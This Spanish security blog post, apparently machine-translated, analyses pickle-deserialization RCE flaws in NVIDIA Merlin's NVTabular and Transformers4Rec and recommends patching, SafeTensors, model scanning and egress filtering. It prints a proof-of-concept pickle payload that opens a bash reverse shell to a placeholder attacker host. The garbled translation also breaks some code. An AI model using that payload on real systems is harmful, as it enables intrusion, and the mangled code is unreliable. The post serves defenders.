Cabecera Penligente

Vulnerabilidades NVIDIA Merlin RCE (CVE-2025-33214 & CVE-2025-33213) Profundización y solución

El panorama de las infraestructuras de IA se enfrenta a un grave problema de seguridad. NVIDIA Merlinel marco estándar del sector para crear sistemas de recomendación de alto rendimiento a gran escala, contiene dos elementos críticos Ejecución remota de código (RCE) vulnerabilidades.

Rastreado como CVE-2025-33214 y CVE-2025-33213Estos defectos residen en la NVTabular y Transformers4Rec bibliotecas. Provienen de una debilidad fundamental en el manejo de datos de Python: Deserialización insegura (CWE-502).

Los atacantes pueden aprovecharse de estos fallos para comprometer clusters de GPU, envenenar modelos de IA o filtrar conjuntos de datos privados simplemente induciendo a un sistema a cargar un archivo de configuración malicioso o un punto de control de modelo. Este artículo ofrece una disección técnica del mecanismo de explotación, el impacto en las canalizaciones de MLOps y una estrategia de parcheo obligatoria.

Vulnerabilidades NVIDIA Merlin RCE

La matriz de vulnerabilidad: ¿Qué se ve afectado?

Las vulnerabilidades afectan a la forma en que los componentes de Merlin gestionan la serialización de datos, en concreto el uso de la función pepinillo al cargar artefactos desde el disco.

ComponenteID CVETipo de vulnerabilidadGravedadFuncionalidad afectada
NVTabularCVE-2025-33214Deserialización inseguraCríticaCarga de objetos de flujo de trabajo guardados mediante Workflow.load()
Transformers4RecCVE-2025-33213Deserialización inseguraCríticaCarga de puntos de control del modelo y configuraciones de entrenamiento

Ambas vulnerabilidades tienen una puntuación CVSS cercana al 9.8, lo que indica que se pueden explotar de forma remota (si la fuente del archivo es remota) o local, no requieren autenticación y dan lugar a un compromiso total del sistema.

Anatomía técnica: Cuando el escabeche se convierte en veneno

Para comprender por qué estas CVE son tan peligrosas, debemos analizar el mecanismo subyacente del ataque: Python pepinillo formato de serialización.

El problema del "pepinillo

Vulnerabilidades NVIDIA Merlin RCE (CVE-2025-33214 & CVE-2025-33213) Profundización y solución

A diferencia de JSON o CSV, que son formatos sólo de datos, pepinillo es un motor de máquina virtual basado en pilas. No sólo almacena datos; almacena instrucciones sobre cómo reconstruir objetos Python.

La vulnerabilidad reside en la __reduce__ método. Cuando Python desencaja un objeto, si ese objeto define __reduce__Python ejecutará la llamada devuelta por ese método. Esta característica, diseñada para la reconstrucción legítima de objetos, permite a los atacantes incrustar bytecode arbitrario.

Análisis del código de explotación (PdC conceptual)

⚠️ Descargo de responsabilidad: El siguiente código sólo tiene fines educativos y de prueba defensiva.

En el contexto de NVTabularun atacante podría crear un flujo de trabajo directorio. Cuando un científico de datos o una canalización MLOps automatizada carga este flujo de trabajo para realizar operaciones ETL, la carga útil se activa.

Este es el aspecto de un generador de carga útil armada:

Python

`import pickle import os

class ArtefactoMalicioso(objeto): def reducir(auto): # La carga útil: Este comando se ejecuta inmediatamente después de la deserialización. # En un ataque real, esto sería una shell inversa o una baliza C2. cmd = "bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1′" return (os.system, (cmd,))

Generar el veneno

Esto simula un archivo de modelo o una configuración de flujo de trabajo comprometidos

exploit_data = pickle.dumps(MaliciousArtifact())

El desencadenante

Dentro de NVTabular o Transformers4Rec, se ejecuta un código similar a este:

No se realiza ninguna verificación del contenido del fichero antes de la ejecución.

pickle.loads(exploit_data)`

El vector Transformers4Rec

Para Transformers4Rec (CVE-2025-33213), el riesgo suele estar oculto dentro de los archivos de modelos de PyTorch (.pt o .bin). Dado que los mecanismos de guardado estándar de PyTorch utilizan pepinillo por defecto, cualquier modelo preentrenado descargado de una fuente no fiable (por ejemplo, un repositorio comprometido de Hugging Face) puede servir como Caballo de Troya.

Análisis de impacto: El coste del compromiso

¿Por qué deberían preocuparse los CISO y los directores de ingeniería? Porque las canalizaciones de Merlin se ejecutan en infraestructuras de alto valor.

A. Secuestro de clústeres de GPU (Cryptojacking)

Merlin está diseñado para las GPU NVIDIA A100/H100. Estos son los recursos más codiciados para la minería de criptomonedas. Un RCE permite a los atacantes instalar mineros de forma silenciosa, lo que cuesta a las empresas miles de dólares diarios en tarifas de computación en la nube.

B. Envenenamiento de la cadena de suministro

Si un atacante compromete la tubería de entrenamiento a través de NVTabular (fase ETL), puede alterar sutilmente los datos de entrada.

  • Resultado: El modelo aprende sesgos ocultos o puertas traseras (por ejemplo, "Recomendar siempre este producto específico" o "Ignorar los indicadores de fraude para este ID de usuario").

C. Movimiento lateral

Los clústeres de entrenamiento de IA suelen tener acceso privilegiado a lagos de datos (S3, Snowflake) y repositorios de código internos. Un nodo comprometido sirve como la cabeza de playa perfecta para pivotar más profundamente en la red corporativa.

Estrategia de reparación: Protección de la infraestructura de IA

NVIDIA ha publicado parches, pero una verdadera solución requiere un cambio en la forma en que su organización maneja los artefactos de IA.

Fase 1: Parcheo inmediato (la fase de "detener la hemorragia")

Compruebe sus versiones actuales y actualícelas inmediatamente utilizando pip o conda.

Bash

`# Actualizar NVTabular a la versión parcheada pip install -upgrade nvtabular

Actualizar Transformers4Rec a la versión parcheada

pip install -upgrade transformers4rec`

Verificación:

Tras la instalación, comprueba los números de versión con el boletín de seguridad de NVIDIA para asegurarte de que estás en una versión con fecha de diciembre de 2025 o posterior.

Fase 2: Refuerzo de la arquitectura (fase de "confianza cero")

1. Migrar a SafeTensors

La industria se está alejando de Pickle. SafeTensors es un nuevo formato de serialización desarrollado por Hugging Face que es seguro por diseño. Almacena tensores puramente como datos, lo que imposibilita la ejecución de código durante la carga.

Ejemplo de migración de código:

Python

`# ❌ VULNERABLE (Legacy PyTorch/Pickle) torch.save(model.state_dict(), "modelo.pt") model.load_state_dict(torch.load("modelo.pt“))

SEGURO (SafeTensors)

from safetensors.torch import guardar_archivo, cargar_archivo

save_file(model.state_dict(), "model.safetensors") load_file(model, "model.safetensors")`

2. Aplicar la exploración de modelos

Integre un escáner en su canal CI/CD o Registro de Modelos. Herramientas como Picklescan puede analizar .pkl, .pty .bin en busca de firmas de código de bytes sospechosas antes de permitir su carga.

3. Segmentación de la red (filtrado de salida)

Sus entornos de formación no deben tener acceso ilimitado a Internet.

  • Bloque: Todo el tráfico saliente por defecto.
  • Permitir: Sólo dominios específicos y de confianza (por ejemplo, réplicas internas de PyPI, buckets S3 específicos).
  • ¿Por qué? Esto evita que un shell inverso (como el del PoC anterior) se conecte de nuevo al servidor de Comando y Control del atacante.

Conclusión

La revelación de CVE-2025-33214 y CVE-2025-33213 sirve como llamada de atención para la industria de la IA. Ya no podemos tratar los archivos de modelos y los flujos de trabajo de datos como activos estáticos benignos; son código ejecutable.

A medida que la IA se integra más profundamente en las operaciones empresariales críticas, asegurar la canalización de MLOps es tan importante como asegurar la propia aplicación web.

Plan de acción para hoy:

  1. Auditoría: Ejecutar lista pip en todos los contenedores de formación.
  2. Parche: Implanta las últimas versiones de NVIDIA Merlin.
  3. Refactorizar: Comienza la hoja de ruta para sustituir Pickle por SafeTensors.
Comparte el post:
Entradas relacionadas